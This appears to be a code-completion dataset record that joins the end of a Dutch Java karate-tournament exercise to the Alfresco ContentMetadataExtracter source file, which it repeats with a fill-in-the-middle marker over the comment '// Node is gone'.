<SUF>*/
/*karateTournooi.speelWedstrijd();
karateTournooi.speelWedstrijd();
System.out.println("Wat een spanning dames en heren. De finale gaat tussen " + karateTournooi.deelnemers.get(0)
+ " en " + karateTournooi.deelnemers.get(1));
karateTournooi.speelWedstrijd();*/
}
}
class Tournooi {
String naam;
ArrayList<Deelnemer> deelnemers = new ArrayList<>();
Scanner scanner = new Scanner(System.in);
Random random = new Random();
void welkom() {
System.out.println("Welkom bij " + naam);
}
void setNaam(String naam) {
this.naam = naam;
}
void voegDeelnemersToe() {
System.out.print("Wat is uw naam");
String deNaam = scanner.next();
Deelnemer deelnemer = new Deelnemer(deNaam);
deelnemers.add(deelnemer);
System.out.println("Wilt u nog iemand aanmelden?\n 1 ja 2 nee");
int antwoordNogEen = scanner.nextInt();
if (antwoordNogEen == 1) {
voegDeelnemersToe();
} else {
shuffleDeelnemers();
}
}
Deelnemer speelWedstrijd() {
System.out.println("Lets get ready to rumble");
System.out.println();
System.out.println(deelnemers.get(0).naam + " speelt tegen " + deelnemers.get(1).naam);
System.out.println();
Deelnemer winnaar = deelnemers.get(random.nextInt(2));
System.out.println("De winnaar is: " + winnaar.naam);
System.out.println("-------------------------");
deelnemers.remove(0);
deelnemers.remove(0);
deelnemers.add(deelnemers.size(), winnaar);
return winnaar;
}
void toernooiUitvoeren(){
while (this.deelnemers.size() >=2) {
int aantalWedstrijden = this.deelnemers.size() / 2;
for (int n = 0; n < aantalWedstrijden; n++) {
if(this.deelnemers.size() ==2) {
System.out.println("Welkom bij de finale");
System.out.println();
this.speelWedstrijd();
} else {
this.speelWedstrijd();
}
}
}
}
void shuffleDeelnemers() {
Collections.shuffle(deelnemers);
for (int x=0; x < this.deelnemers.size(); x+=2)
System.out.println(deelnemers.get(x).naam + " speelt tegen " + deelnemers.get(x+1).naam);
System.out.println();
}
}
class Deelnemer {
String naam;
Deelnemer(String deNaam) {
naam = deNaam;
}
@Override
public String toString() {
return naam;
}
}
class testToernooi {
static Tournooi testData() {
Deelnemer deelnemer1 = new Deelnemer("fred");
Deelnemer deelnemer2 = new Deelnemer("jan");
Deelnemer deelnemer3 = new Deelnemer("piet");
Deelnemer deelnemer4 = new Deelnemer("kees");
Deelnemer deelnemer5 = new Deelnemer("teun");
Deelnemer deelnemer6 = new Deelnemer("klaas");
Deelnemer deelnemer7 = new Deelnemer("bert");
Deelnemer deelnemer8 = new Deelnemer("ernie");
Tournooi toernooi1 = new Tournooi();
toernooi1.setNaam("demoTournooi");
toernooi1.deelnemers.add(deelnemer1);
toernooi1.deelnemers.add(deelnemer2);
toernooi1.deelnemers.add(deelnemer3);
toernooi1.deelnemers.add(deelnemer4);
toernooi1.deelnemers.add(deelnemer5);
toernooi1.deelnemers.add(deelnemer6);
toernooi1.deelnemers.add(deelnemer7);
toernooi1.deelnemers.add(deelnemer8);
toernooi1.shuffleDeelnemers();
return toernooi1;
}
} |
151545_18 | /*
* #%L
* Alfresco Repository
* %%
* Copyright (C) 2005 - 2020 Alfresco Software Limited
* %%
* This file is part of the Alfresco software.
* If the software was purchased under a paid Alfresco license, the terms of
* the paid license agreement will prevail. Otherwise, the software is
* provided under the following open source license terms:
*
* Alfresco is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Alfresco is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with Alfresco. If not, see <http://www.gnu.org/licenses/>.
* #L%
*/
/*
* Copyright (C) 2005 Jesper Steen Møller
*
* This file is part of Alfresco
*
* Alfresco is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Alfresco is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with Alfresco. If not, see <http://www.gnu.org/licenses/>.
*/
package org.alfresco.repo.action.executer;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.alfresco.model.ContentModel;
import org.alfresco.repo.content.metadata.AbstractMappingMetadataExtracter;
import org.alfresco.repo.content.metadata.AsynchronousExtractor;
import org.alfresco.repo.content.metadata.MetadataExtracter;
import org.alfresco.repo.content.metadata.MetadataExtracterRegistry;
import org.alfresco.service.cmr.action.Action;
import org.alfresco.service.cmr.action.ParameterDefinition;
import org.alfresco.service.cmr.dictionary.ClassDefinition;
import org.alfresco.service.cmr.dictionary.DictionaryService;
import org.alfresco.service.cmr.dictionary.PropertyDefinition;
import org.alfresco.service.cmr.repository.ContentReader;
import org.alfresco.service.cmr.repository.ContentService;
import org.alfresco.service.cmr.repository.InvalidNodeRefException;
import org.alfresco.service.cmr.repository.NodeRef;
import org.alfresco.service.cmr.repository.NodeService;
import org.alfresco.service.cmr.repository.datatype.DefaultTypeConverter;
import org.alfresco.service.cmr.tagging.TaggingService;
import org.alfresco.service.namespace.QName;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
/**
* Extract metadata from any added content.
* <p>
* Currently, the default {@linkplain org.alfresco.repo.content.metadata.MetadataExtracter.OverwritePolicy overwrite policy}
* for each extracter is used. (TODO: Add overwrite policy as a parameter.)
*
* @see org.alfresco.repo.content.metadata.MetadataExtracter.OverwritePolicy
*
* @author Jesper Steen Møller
*/
public class ContentMetadataExtracter extends ActionExecuterAbstractBase
{
private static Log logger = LogFactory.getLog(ContentMetadataExtracter.class);
public static final String EXECUTOR_NAME = "extract-metadata";
private NodeService nodeService;
private ContentService contentService;
private DictionaryService dictionaryService;
private TaggingService taggingService;
private MetadataExtracterRegistry metadataExtracterRegistry;
private boolean carryAspectProperties = true;
private boolean enableStringTagging = false;
// Default list of separators (when enableStringTagging is enabled)
public final static List<String> DEFAULT_STRING_TAGGING_SEPARATORS = Arrays.asList(",", ";", "\\|");
protected List<String> stringTaggingSeparators = DEFAULT_STRING_TAGGING_SEPARATORS;
public ContentMetadataExtracter()
{
}
/**
* @param nodeService the node service
*/
public void setNodeService(NodeService nodeService)
{
this.nodeService = nodeService;
}
/**
* @param contentService The contentService to set.
*/
public void setContentService(ContentService contentService)
{
this.contentService = contentService;
}
/**
* @param dictService The DictionaryService to set.
*/
public void setDictionaryService(DictionaryService dictService)
{
this.dictionaryService = dictService;
}
/**
* @param taggingService The TaggingService to set.
*/
public void setTaggingService(TaggingService taggingService)
{
this.taggingService = taggingService;
}
/**
* @param metadataExtracterRegistry The metadataExtracterRegistry to set.
*/
public void setMetadataExtracterRegistry(MetadataExtracterRegistry metadataExtracterRegistry)
{
this.metadataExtracterRegistry = metadataExtracterRegistry;
}
/**
* Whether or not aspect-related properties must be carried to the new version of the node
*
* @param carryAspectProperties <tt>true</tt> (default) to carry all aspect-linked
* properties forward. <tt>false</tt> will clean the
* aspect of any unextracted values.
*/
public void setCarryAspectProperties(boolean carryAspectProperties)
{
this.carryAspectProperties = carryAspectProperties;
}
/**
* Whether or not to enable mapping of simple strings to cm:taggable tags
*
* @param enableStringTagging <tt>true</tt> find or create tags for each string
* mapped to cm:taggable. <tt>false</tt> (default)
* ignore mapping strings to tags.
*/
public void setEnableStringTagging(boolean enableStringTagging)
{
this.enableStringTagging = enableStringTagging;
}
/**
* List of string separators - note: all will be applied to a given string
*
* @param stringTaggingSeparators
*/
public void setStringTaggingSeparators(List<String> stringTaggingSeparators)
{
this.stringTaggingSeparators = stringTaggingSeparators;
}
/**
* Iterates the values of the taggable property which the metadata
* extractor should have already attempted to convert values to {@link NodeRef}s.
* <p>
* If conversion by the metadata extracter failed due to a MalformedNodeRefException
* the taggable property should still contain raw string values.
* <p>
* Mixing of NodeRefs and string values is permitted so each raw value is
* checked for a valid NodeRef representation and if so, converts to a NodeRef,
* if not, adds as a tag via the {@link TaggingService}.
*
* @param actionedUponNodeRef The NodeRef being actioned upon
* @param propertyDef the PropertyDefinition of the taggable property
* @param rawValue the raw value from the metadata extracter
*/
protected void addTags(NodeRef actionedUponNodeRef, PropertyDefinition propertyDef, Serializable rawValue)
{
addTags(actionedUponNodeRef, propertyDef, rawValue, nodeService, stringTaggingSeparators, taggingService);
}
private static void addTags(NodeRef actionedUponNodeRef, PropertyDefinition propertyDef, Serializable rawValue,
NodeService nodeService, List<String> stringTaggingSeparators,
TaggingService taggingService)
{
if (rawValue == null)
{
return;
}
List<String> tags = new ArrayList<String>();
if (logger.isDebugEnabled())
{
logger.debug("converting " + rawValue + " of type " + rawValue.getClass().getCanonicalName() + " to tags");
}
if (rawValue instanceof Collection<?>)
{
for (Object singleValue : (Collection<?>) rawValue)
{
if (singleValue instanceof String)
{
if (NodeRef.isNodeRef((String) singleValue))
{
// Convert to a NodeRef
Serializable convertedPropertyValue = (Serializable) DefaultTypeConverter.INSTANCE.convert(
propertyDef.getDataType(),
(String) singleValue);
try
{
NodeRef nodeRef = (NodeRef) convertedPropertyValue;
String tagName = (String) nodeService.getProperty(nodeRef, ContentModel.PROP_NAME);
if (logger.isTraceEnabled())
{
logger.trace("adding string tag name'" + tagName + "' (from tag nodeRef "+nodeRef+") to " + actionedUponNodeRef);
}
tags.addAll(splitTag(tagName, stringTaggingSeparators));
}
catch (InvalidNodeRefException e)
{
if (logger.isWarnEnabled())
{
logger.warn("tag nodeRef Invalid: " + e.getMessage());
}
}
}
else
{
// Must be a simple string
if (logger.isTraceEnabled())
{
logger.trace("adding string tag name'" + singleValue + "' to " + actionedUponNodeRef);
}
tags.addAll(splitTag((String)singleValue, stringTaggingSeparators));
}
}
else if (singleValue instanceof NodeRef)
{
NodeRef nodeRef = (NodeRef)singleValue;
String tagName = (String) nodeService.getProperty(nodeRef, ContentModel.PROP_NAME);
if (logger.isTraceEnabled())
{
logger.trace("adding string tag name'" + tagName + "' (for nodeRef "+nodeRef+") to " + actionedUponNodeRef);
}
tags.addAll(splitTag(tagName, stringTaggingSeparators));
}
}
}
else if (rawValue instanceof String)
{
if (logger.isTraceEnabled())
{
logger.trace("adding string tag name'" + (String)rawValue + "' to " + actionedUponNodeRef);
}
tags.addAll(splitTag((String)rawValue, stringTaggingSeparators));
}
if (logger.isDebugEnabled())
{
logger.debug("adding tags '" + tags + "' to " + actionedUponNodeRef);
}
try
{
taggingService.addTags(actionedUponNodeRef, tags);
}
catch (IllegalArgumentException iae)
{
// defensive catch-all - do not prevent uploads due to unexpected failure in "addTags"
if (logger.isWarnEnabled())
{
logger.warn("Cannot add tags '"+tags+"' - "+iae.getMessage());
}
}
}
protected List<String> splitTag(String str)
{
return splitTag(str, stringTaggingSeparators);
}
private static List<String> splitTag(String str, List<String> stringTaggingSeparators)
{
List<String> result = new ArrayList<>();
if ((str != null) && (!str.equals("")))
{
result.add(str.trim());
if (stringTaggingSeparators != null)
{
for (String sep : stringTaggingSeparators)
{
List<String> splitTags = new ArrayList<>(result.size());
for (String tag : result)
{
String[] parts = tag.split(sep);
for (String part : parts)
{
splitTags.add(part.trim());
}
}
result = splitTags;
}
}
}
return result;
}
/**
* Used by the action service to work out if it should override the executeAsychronously
* value when it is know the extract will take place asynchronously anyway. Results in
* the action being processed post commit, which allows it to see node changes.
*
* @param actionedUponNodeRef the node to be processed.
* @return true if the AsynchronousExtractor will be used. false otherwise.
*/
@Override
public boolean isExecuteAsynchronously(NodeRef actionedUponNodeRef)
{
if (!nodeService.exists(actionedUponNodeRef))
{
return false;
}
ContentReader reader = contentService.getReader(actionedUponNodeRef, ContentModel.PROP_CONTENT);
if (reader == null || reader.getMimetype() == null)
{
return false;
}
String mimetype = reader.getMimetype();
long sourceSizeInBytes = reader.getSize();
MetadataExtracter extracter = metadataExtracterRegistry.getExtractor(mimetype, sourceSizeInBytes);
return extracter instanceof AsynchronousExtractor;
}
/**
* @see org.alfresco.repo.action.executer.ActionExecuter#execute(Action,
* NodeRef)
*/
public void executeImpl(Action ruleAction, NodeRef actionedUponNodeRef)
{
if (!nodeService.exists(actionedUponNodeRef))
{
// Node is gone
return;
}
ContentReader reader = contentService.getReader(actionedUponNodeRef, ContentModel.PROP_CONTENT);
// The reader may be null, e.g. for folders and the like
if (reader == null || reader.getMimetype() == null)
{
if(logger.isDebugEnabled())
{
logger.debug("no content or mimetype - do nothing");
}
// No content to extract data from
return;
}
String mimetype = reader.getMimetype();
long sourceSizeInBytes = reader.getSize();
MetadataExtracter extracter = metadataExtracterRegistry.getExtractor(mimetype, sourceSizeInBytes);
if (extracter == null)
{
if(logger.isDebugEnabled())
{
logger.debug("no extracter for mimetype:" + mimetype);
}
// There is no extracter to use
return;
}
if (enableStringTagging && (extracter instanceof AbstractMappingMetadataExtracter))
{
((AbstractMappingMetadataExtracter) extracter).setEnableStringTagging(enableStringTagging);
}
// Get all the node's properties
Map<QName, Serializable> nodeProperties = nodeService.getProperties(actionedUponNodeRef);
// TODO: The override policy should be a parameter here. Instead, we'll use the default policy
// set on the extracter.
// Give the node's properties to the extracter to be modified
Map<QName, Serializable> modifiedProperties = null;
try
{
modifiedProperties = extracter.extract(
actionedUponNodeRef,
reader,
/*OverwritePolicy.PRAGMATIC,*/
nodeProperties);
}
catch (Throwable e)
{
// Extracters should attempt to handle all error conditions and extract
// as much as they can. If, however, one should fail, we don't want the
// action itself to fail. We absorb and report the exception here to
// solve ETHREEOH-1936 and ALFCOM-2889.
if (logger.isDebugEnabled())
{
logger.debug(
"Raw metadata extraction failed: \n" +
" Extracter: " + this + "\n" +
" Node: " + actionedUponNodeRef + "\n" +
" Content: " + reader,
e);
}
else
{
logger.warn(
"Raw metadata extraction failed (turn on DEBUG for full error): \n" +
" Extracter: " + this + "\n" +
" Node: " + actionedUponNodeRef + "\n" +
" Content: " + reader + "\n" +
" Failure: " + e.getMessage());
}
modifiedProperties = new HashMap<QName, Serializable>(0);
}
// If none of the properties where changed, then there is nothing more to do
if (modifiedProperties.size() == 0)
{
return;
}
addExtractedMetadataToNode(actionedUponNodeRef, nodeProperties, modifiedProperties,
nodeService, dictionaryService, taggingService, enableStringTagging, carryAspectProperties,
stringTaggingSeparators);
}
public static void addExtractedMetadataToNode(NodeRef actionedUponNodeRef, Map<QName, Serializable> nodeProperties,
Map<QName, Serializable> modifiedProperties,
NodeService nodeService, DictionaryService dictionaryService,
TaggingService taggingService, boolean enableStringTagging,
boolean carryAspectProperties, List<String> stringTaggingSeparators)
{
// Check that all properties have the appropriate aspect applied
Set<QName> requiredAspectQNames = new HashSet<QName>(3);
Set<QName> aspectPropertyQNames = new HashSet<QName>(17);
/**
* The modified properties contain null values as well. As we are only interested
* in the keys, this will force aspect aspect properties to be removed even if there
* are no settable properties pertaining to the aspect.
*/
for (QName propertyQName : modifiedProperties.keySet())
{
PropertyDefinition propertyDef = dictionaryService.getProperty(propertyQName);
if (propertyDef == null)
{
// The property is not defined in the model
continue;
}
ClassDefinition propertyContainerDef = propertyDef.getContainerClass();
if (propertyContainerDef.isAspect())
{
if (enableStringTagging && propertyContainerDef.getName().equals(ContentModel.ASPECT_TAGGABLE))
{
Serializable oldValue = nodeProperties.get(propertyQName);
addTags(actionedUponNodeRef, propertyDef, oldValue,
nodeService, stringTaggingSeparators, taggingService);
// Replace the raw value with the created tag NodeRefs
nodeProperties.put(ContentModel.PROP_TAGS,
nodeService.getProperty(actionedUponNodeRef, ContentModel.PROP_TAGS));
}
else
{
QName aspectQName = propertyContainerDef.getName();
requiredAspectQNames.add(aspectQName);
// Get all properties associated with the aspect
Set<QName> aspectProperties = propertyContainerDef.getProperties().keySet();
aspectPropertyQNames.addAll(aspectProperties);
}
}
}
if (!carryAspectProperties)
{
// Remove any node properties that are defined on the aspects but were not extracted
for (QName aspectPropertyQName : aspectPropertyQNames)
{
if (!modifiedProperties.containsKey(aspectPropertyQName))
{
// Simple case: This property was not extracted
nodeProperties.remove(aspectPropertyQName);
}
else if (modifiedProperties.get(aspectPropertyQName) == null)
{
// Trickier (ALF-1823): The property was extracted as 'null'
nodeProperties.remove(aspectPropertyQName);
}
}
}
// The following code can result in a postCommit to extract the metadata again via JavaBehaviour
// (such as ImapContentPolicy.onAddAspect). Not very efficient, but I cannot think of a way to
// avoid it that does not risk memory leaks or disabling behaviour we want.
// Add all the properties to the node BEFORE we add the aspects
nodeService.setProperties(actionedUponNodeRef, nodeProperties);
// Add each of the aspects, as required
for (QName requiredAspectQName : requiredAspectQNames)
{
if (nodeService.hasAspect(actionedUponNodeRef, requiredAspectQName))
{
// The node has the aspect already
continue;
}
else
{
nodeService.addAspect(actionedUponNodeRef, requiredAspectQName, null);
}
}
}
@Override
protected void addParameterDefinitions(List<ParameterDefinition> arg0)
{
// None!
}
} | Alfresco/alfresco-community-repo | repository/src/main/java/org/alfresco/repo/action/executer/ContentMetadataExtracter.java | 5,836 | // Node is gone
| line_comment | nl | /*
* #%L
* Alfresco Repository
* %%
* Copyright (C) 2005 - 2020 Alfresco Software Limited
* %%
* This file is part of the Alfresco software.
* If the software was purchased under a paid Alfresco license, the terms of
* the paid license agreement will prevail. Otherwise, the software is
* provided under the following open source license terms:
*
* Alfresco is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Alfresco is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with Alfresco. If not, see <http://www.gnu.org/licenses/>.
* #L%
*/
/*
* Copyright (C) 2005 Jesper Steen Møller
*
* This file is part of Alfresco
*
* Alfresco is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Alfresco is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with Alfresco. If not, see <http://www.gnu.org/licenses/>.
*/
package org.alfresco.repo.action.executer;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.alfresco.model.ContentModel;
import org.alfresco.repo.content.metadata.AbstractMappingMetadataExtracter;
import org.alfresco.repo.content.metadata.AsynchronousExtractor;
import org.alfresco.repo.content.metadata.MetadataExtracter;
import org.alfresco.repo.content.metadata.MetadataExtracterRegistry;
import org.alfresco.service.cmr.action.Action;
import org.alfresco.service.cmr.action.ParameterDefinition;
import org.alfresco.service.cmr.dictionary.ClassDefinition;
import org.alfresco.service.cmr.dictionary.DictionaryService;
import org.alfresco.service.cmr.dictionary.PropertyDefinition;
import org.alfresco.service.cmr.repository.ContentReader;
import org.alfresco.service.cmr.repository.ContentService;
import org.alfresco.service.cmr.repository.InvalidNodeRefException;
import org.alfresco.service.cmr.repository.NodeRef;
import org.alfresco.service.cmr.repository.NodeService;
import org.alfresco.service.cmr.repository.datatype.DefaultTypeConverter;
import org.alfresco.service.cmr.tagging.TaggingService;
import org.alfresco.service.namespace.QName;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
/**
* Extract metadata from any added content.
* <p>
* Currently, the default {@linkplain org.alfresco.repo.content.metadata.MetadataExtracter.OverwritePolicy overwrite policy}
* for each extracter is used. (TODO: Add overwrite policy as a parameter.)
*
* @see org.alfresco.repo.content.metadata.MetadataExtracter.OverwritePolicy
*
* @author Jesper Steen Møller
*/
public class ContentMetadataExtracter extends ActionExecuterAbstractBase
{
private static Log logger = LogFactory.getLog(ContentMetadataExtracter.class);
public static final String EXECUTOR_NAME = "extract-metadata";
private NodeService nodeService;
private ContentService contentService;
private DictionaryService dictionaryService;
private TaggingService taggingService;
private MetadataExtracterRegistry metadataExtracterRegistry;
private boolean carryAspectProperties = true;
private boolean enableStringTagging = false;
// Default list of separators (when enableStringTagging is enabled)
public final static List<String> DEFAULT_STRING_TAGGING_SEPARATORS = Arrays.asList(",", ";", "\\|");
protected List<String> stringTaggingSeparators = DEFAULT_STRING_TAGGING_SEPARATORS;
public ContentMetadataExtracter()
{
}
/**
* @param nodeService the node service
*/
public void setNodeService(NodeService nodeService)
{
this.nodeService = nodeService;
}
/**
* @param contentService The contentService to set.
*/
public void setContentService(ContentService contentService)
{
this.contentService = contentService;
}
/**
* @param dictService The DictionaryService to set.
*/
public void setDictionaryService(DictionaryService dictService)
{
this.dictionaryService = dictService;
}
/**
* @param taggingService The TaggingService to set.
*/
public void setTaggingService(TaggingService taggingService)
{
this.taggingService = taggingService;
}
/**
* @param metadataExtracterRegistry The metadataExtracterRegistry to set.
*/
public void setMetadataExtracterRegistry(MetadataExtracterRegistry metadataExtracterRegistry)
{
this.metadataExtracterRegistry = metadataExtracterRegistry;
}
/**
* Whether or not aspect-related properties must be carried to the new version of the node
*
* @param carryAspectProperties <tt>true</tt> (default) to carry all aspect-linked
* properties forward. <tt>false</tt> will clean the
* aspect of any unextracted values.
*/
public void setCarryAspectProperties(boolean carryAspectProperties)
{
this.carryAspectProperties = carryAspectProperties;
}
/**
* Whether or not to enable mapping of simple strings to cm:taggable tags
*
* @param enableStringTagging <tt>true</tt> find or create tags for each string
* mapped to cm:taggable. <tt>false</tt> (default)
* ignore mapping strings to tags.
*/
public void setEnableStringTagging(boolean enableStringTagging)
{
this.enableStringTagging = enableStringTagging;
}
/**
* List of string separators - note: all will be applied to a given string
*
* @param stringTaggingSeparators
*/
public void setStringTaggingSeparators(List<String> stringTaggingSeparators)
{
this.stringTaggingSeparators = stringTaggingSeparators;
}
/**
* Iterates the values of the taggable property which the metadata
* extractor should have already attempted to convert values to {@link NodeRef}s.
* <p>
* If conversion by the metadata extracter failed due to a MalformedNodeRefException
* the taggable property should still contain raw string values.
* <p>
* Mixing of NodeRefs and string values is permitted so each raw value is
* checked for a valid NodeRef representation and if so, converts to a NodeRef,
* if not, adds as a tag via the {@link TaggingService}.
*
* @param actionedUponNodeRef The NodeRef being actioned upon
* @param propertyDef the PropertyDefinition of the taggable property
* @param rawValue the raw value from the metadata extracter
*/
protected void addTags(NodeRef actionedUponNodeRef, PropertyDefinition propertyDef, Serializable rawValue)
{
addTags(actionedUponNodeRef, propertyDef, rawValue, nodeService, stringTaggingSeparators, taggingService);
}
private static void addTags(NodeRef actionedUponNodeRef, PropertyDefinition propertyDef, Serializable rawValue,
NodeService nodeService, List<String> stringTaggingSeparators,
TaggingService taggingService)
{
if (rawValue == null)
{
return;
}
List<String> tags = new ArrayList<String>();
if (logger.isDebugEnabled())
{
logger.debug("converting " + rawValue + " of type " + rawValue.getClass().getCanonicalName() + " to tags");
}
if (rawValue instanceof Collection<?>)
{
for (Object singleValue : (Collection<?>) rawValue)
{
if (singleValue instanceof String)
{
if (NodeRef.isNodeRef((String) singleValue))
{
// Convert to a NodeRef
Serializable convertedPropertyValue = (Serializable) DefaultTypeConverter.INSTANCE.convert(
propertyDef.getDataType(),
(String) singleValue);
try
{
NodeRef nodeRef = (NodeRef) convertedPropertyValue;
String tagName = (String) nodeService.getProperty(nodeRef, ContentModel.PROP_NAME);
if (logger.isTraceEnabled())
{
logger.trace("adding string tag name'" + tagName + "' (from tag nodeRef "+nodeRef+") to " + actionedUponNodeRef);
}
tags.addAll(splitTag(tagName, stringTaggingSeparators));
}
catch (InvalidNodeRefException e)
{
if (logger.isWarnEnabled())
{
logger.warn("tag nodeRef Invalid: " + e.getMessage());
}
}
}
else
{
// Must be a simple string
if (logger.isTraceEnabled())
{
logger.trace("adding string tag name'" + singleValue + "' to " + actionedUponNodeRef);
}
tags.addAll(splitTag((String)singleValue, stringTaggingSeparators));
}
}
else if (singleValue instanceof NodeRef)
{
NodeRef nodeRef = (NodeRef)singleValue;
String tagName = (String) nodeService.getProperty(nodeRef, ContentModel.PROP_NAME);
if (logger.isTraceEnabled())
{
logger.trace("adding string tag name'" + tagName + "' (for nodeRef "+nodeRef+") to " + actionedUponNodeRef);
}
tags.addAll(splitTag(tagName, stringTaggingSeparators));
}
}
}
else if (rawValue instanceof String)
{
if (logger.isTraceEnabled())
{
logger.trace("adding string tag name'" + (String)rawValue + "' to " + actionedUponNodeRef);
}
tags.addAll(splitTag((String)rawValue, stringTaggingSeparators));
}
if (logger.isDebugEnabled())
{
logger.debug("adding tags '" + tags + "' to " + actionedUponNodeRef);
}
try
{
taggingService.addTags(actionedUponNodeRef, tags);
}
catch (IllegalArgumentException iae)
{
// defensive catch-all - do not prevent uploads due to unexpected failure in "addTags"
if (logger.isWarnEnabled())
{
logger.warn("Cannot add tags '"+tags+"' - "+iae.getMessage());
}
}
}
protected List<String> splitTag(String str)
{
return splitTag(str, stringTaggingSeparators);
}
private static List<String> splitTag(String str, List<String> stringTaggingSeparators)
{
List<String> result = new ArrayList<>();
if ((str != null) && (!str.equals("")))
{
result.add(str.trim());
if (stringTaggingSeparators != null)
{
for (String sep : stringTaggingSeparators)
{
List<String> splitTags = new ArrayList<>(result.size());
for (String tag : result)
{
String[] parts = tag.split(sep);
for (String part : parts)
{
splitTags.add(part.trim());
}
}
result = splitTags;
}
}
}
return result;
}
/**
* Used by the action service to work out if it should override the executeAsychronously
* value when it is know the extract will take place asynchronously anyway. Results in
* the action being processed post commit, which allows it to see node changes.
*
* @param actionedUponNodeRef the node to be processed.
* @return true if the AsynchronousExtractor will be used. false otherwise.
*/
@Override
public boolean isExecuteAsynchronously(NodeRef actionedUponNodeRef)
{
if (!nodeService.exists(actionedUponNodeRef))
{
return false;
}
ContentReader reader = contentService.getReader(actionedUponNodeRef, ContentModel.PROP_CONTENT);
if (reader == null || reader.getMimetype() == null)
{
return false;
}
String mimetype = reader.getMimetype();
long sourceSizeInBytes = reader.getSize();
MetadataExtracter extracter = metadataExtracterRegistry.getExtractor(mimetype, sourceSizeInBytes);
return extracter instanceof AsynchronousExtractor;
}
/**
* @see org.alfresco.repo.action.executer.ActionExecuter#execute(Action,
* NodeRef)
*/
public void executeImpl(Action ruleAction, NodeRef actionedUponNodeRef)
{
if (!nodeService.exists(actionedUponNodeRef))
{
// Node is<SUF>
return;
}
ContentReader reader = contentService.getReader(actionedUponNodeRef, ContentModel.PROP_CONTENT);
// The reader may be null, e.g. for folders and the like
if (reader == null || reader.getMimetype() == null)
{
if(logger.isDebugEnabled())
{
logger.debug("no content or mimetype - do nothing");
}
// No content to extract data from
return;
}
String mimetype = reader.getMimetype();
long sourceSizeInBytes = reader.getSize();
MetadataExtracter extracter = metadataExtracterRegistry.getExtractor(mimetype, sourceSizeInBytes);
if (extracter == null)
{
if(logger.isDebugEnabled())
{
logger.debug("no extracter for mimetype:" + mimetype);
}
// There is no extracter to use
return;
}
if (enableStringTagging && (extracter instanceof AbstractMappingMetadataExtracter))
{
((AbstractMappingMetadataExtracter) extracter).setEnableStringTagging(enableStringTagging);
}
// Get all the node's properties
Map<QName, Serializable> nodeProperties = nodeService.getProperties(actionedUponNodeRef);
// TODO: The override policy should be a parameter here. Instead, we'll use the default policy
// set on the extracter.
// Give the node's properties to the extracter to be modified
Map<QName, Serializable> modifiedProperties = null;
try
{
modifiedProperties = extracter.extract(
actionedUponNodeRef,
reader,
/*OverwritePolicy.PRAGMATIC,*/
nodeProperties);
}
catch (Throwable e)
{
// Extracters should attempt to handle all error conditions and extract
// as much as they can. If, however, one should fail, we don't want the
// action itself to fail. We absorb and report the exception here to
// solve ETHREEOH-1936 and ALFCOM-2889.
if (logger.isDebugEnabled())
{
logger.debug(
"Raw metadata extraction failed: \n" +
" Extracter: " + this + "\n" +
" Node: " + actionedUponNodeRef + "\n" +
" Content: " + reader,
e);
}
else
{
logger.warn(
"Raw metadata extraction failed (turn on DEBUG for full error): \n" +
" Extracter: " + this + "\n" +
" Node: " + actionedUponNodeRef + "\n" +
" Content: " + reader + "\n" +
" Failure: " + e.getMessage());
}
modifiedProperties = new HashMap<QName, Serializable>(0);
}
// If none of the properties where changed, then there is nothing more to do
if (modifiedProperties.size() == 0)
{
return;
}
addExtractedMetadataToNode(actionedUponNodeRef, nodeProperties, modifiedProperties,
nodeService, dictionaryService, taggingService, enableStringTagging, carryAspectProperties,
stringTaggingSeparators);
}
public static void addExtractedMetadataToNode(NodeRef actionedUponNodeRef, Map<QName, Serializable> nodeProperties,
Map<QName, Serializable> modifiedProperties,
NodeService nodeService, DictionaryService dictionaryService,
TaggingService taggingService, boolean enableStringTagging,
boolean carryAspectProperties, List<String> stringTaggingSeparators)
{
// Check that all properties have the appropriate aspect applied
Set<QName> requiredAspectQNames = new HashSet<QName>(3);
Set<QName> aspectPropertyQNames = new HashSet<QName>(17);
/**
* The modified properties contain null values as well. As we are only interested
* in the keys, this will force aspect aspect properties to be removed even if there
* are no settable properties pertaining to the aspect.
*/
for (QName propertyQName : modifiedProperties.keySet())
{
PropertyDefinition propertyDef = dictionaryService.getProperty(propertyQName);
if (propertyDef == null)
{
// The property is not defined in the model
continue;
}
ClassDefinition propertyContainerDef = propertyDef.getContainerClass();
if (propertyContainerDef.isAspect())
{
if (enableStringTagging && propertyContainerDef.getName().equals(ContentModel.ASPECT_TAGGABLE))
{
Serializable oldValue = nodeProperties.get(propertyQName);
